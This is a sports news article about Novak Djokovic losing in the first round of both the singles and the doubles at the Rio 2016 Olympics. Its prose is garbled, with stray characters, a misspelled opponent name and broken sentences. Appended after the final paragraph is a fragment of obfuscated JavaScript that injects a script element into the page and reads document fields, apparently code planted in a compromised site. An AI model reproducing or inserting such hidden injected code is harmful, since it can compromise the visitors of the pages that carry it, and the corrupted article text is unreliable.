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The end of Rio Olympics for Novak Djokovic

Not even a day after being beaten in straight sets by Juan Del Porto, Novak Djokovic crashes out of the men’s double after he and his partner Nenad Zimonjic lost. They suffered a 6-4, 6-4 defeat at the hands of their Brazilian opponent.

Novak, the world number oneA was dumped out of the first round of the singles to Juan Martin del Potro yesterday, but at least then he had theAsupport of the Rio de Janeiro crowd. Tonight however the Serb and his doubles partner had lost both, the support and the match as the cheers were all for Melo and Soares who pumped fists and celebrated every point as if they were goals at the Maracana.

Djokovic VS Del Potro
Djokovic VS Del Potro

The world number 1Ahas been enjoying his time in Rio but confirmed that he won’t be participating in theAmixed doubles.ADjokovic is still looking forAhis first Olympic gold and given that he’ll be 33 at the 2020 Games in Tokyo, this may have been his last chance. He said on Monday “I really hope I will have another shot at the medal.”

The Serbian starAleft the court in tears on SundayAnight after losing to a resurgent del Potro, whose ranking had fallen unfortunate injuries to the 2009 US open winner. Djokovic’s only Olympic medal is a bronze in 2008 in singles, and he really hoped this could have been his year, after a brilliant year all around. 2[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

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